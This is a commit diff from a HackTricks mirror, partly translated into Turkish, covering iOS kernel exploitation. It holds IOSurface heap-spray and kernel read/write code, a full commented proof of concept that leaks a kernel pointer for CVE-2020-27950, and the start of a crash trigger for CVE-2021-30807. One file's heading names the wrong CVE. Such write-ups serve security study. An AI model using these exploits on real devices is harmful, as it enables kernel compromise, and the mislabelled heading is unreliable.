maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/binary-exploitation/ios-exploiting/README.md', 'src/net

Browse Source
This commit is contained in:
Translator 2025-09-26 01:11:16 +00:00
parent 3a210ec3e6
commit 0ddcf91082
26 changed files with 3102 additions and 1754 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
src/SUMMARY.md
View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,7 +838,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
# 🤖 AI
- [AI Security](AI/README.md)

207
src/binary-exploitation/ios-exploiting.md
View File

@ -1,207 +0,0 @@
# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## Fiziksel kullanımdan sonra serbest bırakma
Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden bir özet, ayrıca bu tekniği kullanarak exploit hakkında daha fazla bilgi [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresinde bulunabilir.
### XNU'da Bellek Yönetimi <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS'taki kullanıcı süreçleri için **sanaldan bellek adres alanı** **0x0 ile 0x8000000000** arasında uzanır. Ancak, bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine, **kernel** sanal adresleri gerçek **fiziksel adreslere** çevirmek için **sayfa tabloları** kullanır.
#### iOS'taki Sayfa Tablolarının Seviyeleri
Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir:
1. **L1 Sayfa Tablosu (Seviye 1)**:
* Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder.
* **0x1000000000 bayt** (veya **256 GB**) sanal belleği kapsar.
2. **L2 Sayfa Tablosu (Seviye 2)**:
* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini temsil eder, özellikle **0x2000000 bayt** (32 MB).
* Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir.
3. **L3 Sayfa Tablosu (Seviye 3)**:
* Bu en ince seviyedir, burada her giriş tek bir **4 KB** bellek sayfasını haritalar.
* Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir.
#### Sanal Belleği Fiziksel Belleğe Haritalama
* **Doğrudan Haritalama (Blok Haritalama)**:
* Bir sayfa tablosundaki bazı girişler, bir dizi sanal adresi kesintisiz bir fiziksel adres aralığına doğrudan **haritalar** (kısa yol gibi).
* **Çocuk Sayfa Tablosuna İşaretçi**:
* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki **çocuk sayfa tablosuna** işaret edebilir (örneğin, L2).
#### Örnek: Sanal Bir Adresi Haritalama
Diyelim ki sanal adres **0x1000000000**'e erişmeye çalışıyorsunuz:
1. **L1 Tablosu**:
* Kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir **L2 sayfa tablosuna işaretçi** varsa, o L2 tablosuna geçer.
2. **L2 Tablosu**:
* Kernel, daha ayrıntılı bir haritalama için L2 sayfa tablosunu kontrol eder. Eğer bu giriş bir **L3 sayfa tablosuna** işaret ediyorsa, oraya devam eder.
3. **L3 Tablosu**:
* Kernel, gerçek bellek sayfasının **fiziksel adresine** işaret eden son L3 girişini arar.
#### Adres Haritalama Örneği
Eğer fiziksel adres **0x800004000**'i L2 tablosunun ilk indeksine yazarsanız, o zaman:
* **0x1000000000** ile **0x1002000000** arasındaki sanal adresler, **0x800004000** ile **0x802004000** arasındaki fiziksel adreslere haritalanır.
* Bu, L2 seviyesinde bir **blok haritalama**dır.
Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa:
* **0x1000000000 -> 0x1002000000** sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişler tarafından haritalanır.
### Fiziksel Kullanımdan Sonra Serbest Bırakma
Bir **fiziksel kullanımdan sonra serbest bırakma** (UAF) şu durumlarda meydana gelir:
1. Bir süreç bazı belleği **okunabilir ve yazılabilir** olarak **ayırır**.
2. **Sayfa tabloları**, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir.
3. Süreç belleği **serbest bırakır** (boşaltır).
4. Ancak, bir **hata** nedeniyle, kernel **sayfa tablosundan haritalamayı kaldırmayı unutur**, buna rağmen ilgili fiziksel belleği serbest olarak işaretler.
5. Kernel, bu "serbest bırakılmış" fiziksel belleği başka amaçlar için **yeniden tahsis edebilir**, örneğin **kernel verileri** için.
6. Haritalama kaldırılmadığı için, süreç bu fiziksel belleğe hala **okuma ve yazma** yapabilir.
Bu, sürecin **kernel belleği** sayfalarına erişebilmesi anlamına gelir; bu sayfalar hassas veriler veya yapılar içerebilir ve potansiyel olarak bir saldırganın **kernel belleğini manipüle etmesine** olanak tanır.
### Sömürü Stratejisi: Heap Spray
Saldırgan, hangi belirli kernel sayfalarının serbest belleğe tahsis edileceğini kontrol edemediğinden, **heap spray** adı verilen bir teknik kullanır:
1. Saldırgan, kernel belleğinde çok sayıda **IOSurface nesnesi** oluşturur.
2. Her IOSurface nesnesi, kolayca tanımlanabilen bir **sihirli değer** içerir.
3. Serbest bırakılmış sayfaları **tarar** ve bu IOSurface nesnelerinden herhangi birinin serbest bir sayfaya düşüp düşmediğini kontrol eder.
4. Serbest bir sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler.
Bununla ilgili daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresinde bulunmaktadır.
### Adım Adım Heap Spray Süreci
1. **IOSurface Nesnelerini Spray Et**: Saldırgan, özel bir tanımlayıcı ("sihirli değer") ile birçok IOSurface nesnesi oluşturur.
2. **Serbest Sayfaları Tara**: Bu nesnelerin serbest bir sayfada tahsis edilip edilmediğini kontrol ederler.
3. **Kernel Belleğini Oku/Yaz**: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde **rastgele okuma ve yazma** yapma yeteneği kazanırlar. Bu, onlara:
* Kernel belleğindeki herhangi bir 32 bit değeri **okuma** yeteneği sağlar.
* 64 bit değerleri **yazma** yeteneği sağlar ve böylece kararlı bir **kernel okuma/yazma ilkesine** ulaşırlar.
Sihirli değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun, böylece daha sonra arama yapabilirsiniz:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Serbest bırakılmış bir fiziksel sayfada **`IOSurface`** nesnelerini arayın:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Kernel Okuma/Yazma Elde Etme IOSurface ile
Kernel belleğinde bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra (kullanıcı alanından erişilebilen serbest bırakılmış bir fiziksel sayfaya eşlenmiş), bunu **rastgele kernel okuma ve yazma işlemleri** için kullanabiliriz.
**IOSurface'daki Anahtar Alanlar**
IOSurface nesnesinin iki kritik alanı vardır:
1. **Kullanım Sayısı İşaretçisi**: **32-bit okuma** sağlar.
2. **İndeksli Zaman Damgası İşaretçisi**: **64-bit yazma** sağlar.
Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki rastgele adreslere yönlendiriyoruz ve okuma/yazma yeteneklerini etkinleştiriyoruz.
#### 32-Bit Kernel Okuma
Bir okuma gerçekleştirmek için:
1. **kullanım sayısı işaretçisini** hedef adrese 0x14 bayt ofset çıkararak işaret edecek şekilde geçersiz kılın.
2. O adresteki değeri okumak için `get_use_count` yöntemini kullanın.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Yazma işlemi gerçekleştirmek için:
1. Hedef adrese **indeksli zaman damgası işaretçisini** geçersiz kılın.
2. 64-bit bir değer yazmak için `set_indexed_timestamp` yöntemini kullanın.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Akışı Özeti
1. **Fiziksel Use-After-Free Tetikleme**: Serbest sayfalar yeniden kullanım için mevcuttur.
2. **IOSurface Nesnelerini Spray Etme**: Kernel belleğinde benzersiz bir "sihirli değer" ile birçok IOSurface nesnesi ayırın.
3. **Erişilebilir IOSurface'ı Belirleme**: Kontrol ettiğiniz serbest bir sayfada bir IOSurface bulun.
4. **Use-After-Free'i Kötüye Kullanma**: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel okuma/yazma** işlemlerini etkinleştirin.
Bu ilkelere dayanarak, exploit kontrol edilen **32-bit okumalar** ve **64-bit yazmalar** sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL).
{{#include ../banners/hacktricks-training.md}}

332
src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md Normal file
View File

@ -0,0 +1,332 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## Zafiyet
Burada [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel_memory_leak), ama özet olarak:
Çekirdeğin aldığı her Mach message, metadata (seqno, sender token, audit token, context, access control data, labels...) içeren değişken uzunluklu bir struct olan **"trailer"** ile biter. Çekirdek, mesaj tamponunda **her zaman mümkün olan en büyük trailer**'ı (MAX_TRAILER_SIZE) ayırır, fakat **sadece bazı alanları başlatır**, sonra daha sonra **hangi trailer boyutunu döndüreceğine** **user-controlled receive options**'a bağlı olarak karar verir.
Bunlar trailer ile ilgili structs:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Sonra, trailer nesnesi oluşturulduğunda, yalnızca bazı alanlar başlatılır ve maksimum trailer boyutu her zaman ayrılır:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Örneğin, `mach_msg()` kullanarak bir mach message'ı okumaya çalışırken, mesaja trailer eklemek için `ipc_kmsg_add_trailer()` fonksiyonu çağrılır. Bu fonksiyon içinde trailer boyutu hesaplanır ve bazı diğer trailer alanları doldurulur:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
`option` parametresi kullanıcı tarafından kontrol ediliyor, bu yüzden **`if` kontrolünü geçen bir değer göndermek gerekiyor.**
Bu kontrolü geçmek için geçerli ve desteklenen bir `option` göndermemiz gerekiyor:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Ancak, çünkü `MACH_RCV_TRAILER_MASK` sadece bitleri kontrol ettiği için, `if` bloğuna girmemek için `0` ile `8` arasındaki herhangi bir değeri geçirebiliriz.
Ardından, kodun devamında şunu bulabilirsiniz:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
```
Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.
So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
### Leak Kernel Address PoC
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
Commetns were added for better understanding:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## Referanslar
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

297
src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md Normal file
View File

@ -0,0 +1,297 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## Zafiyet
You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
- Zayıf kod yolu, **IOMobileFramebuffer / AppleCLCD** user client'inin **external method #83**'üdür: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Bu metod, kullanıcı tarafından kontrol edilen ve hiçbir şekilde kontrol edilmeyen bir parametre alır ve bunu bir sonraki işleme **`scalar0`** olarak geçirir.
- Bu yöntem, **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`** içine iletilir; burada **`scalar0`** (kullanıcı kontrollü **32-bit** değer) herhangi bir **sınır kontrolü** yapılmadan dahili bir **işaretçi dizisine** bir **indeks** olarak kullanılır:
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\
> **Result:** **OOB pointer read & type confusion** on that array. If the pointer isn't valid, the kernel deref panics → **DoS**.
> [!NOTE]
> Bu, **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** sürümlerinde düzeltildi.
> [!WARNING]
> Çağrılması gereken ilk fonksiyon `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` hakkı **`com.apple.private.allow-explicit-graphics-priority`** yetkisiyle korunur. Ancak, **WebKit.WebContent** bu yetkiye sahiptir, bu yüzden sandbox'lı bir süreçten zafiyeti tetiklemek için kullanılabilir.
## DoS PoC
Aşağıda, orijinal blog gönderisinden alınmış ilk DoS PoC'u ek açıklamalarla birlikte bulabilirsiniz:
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
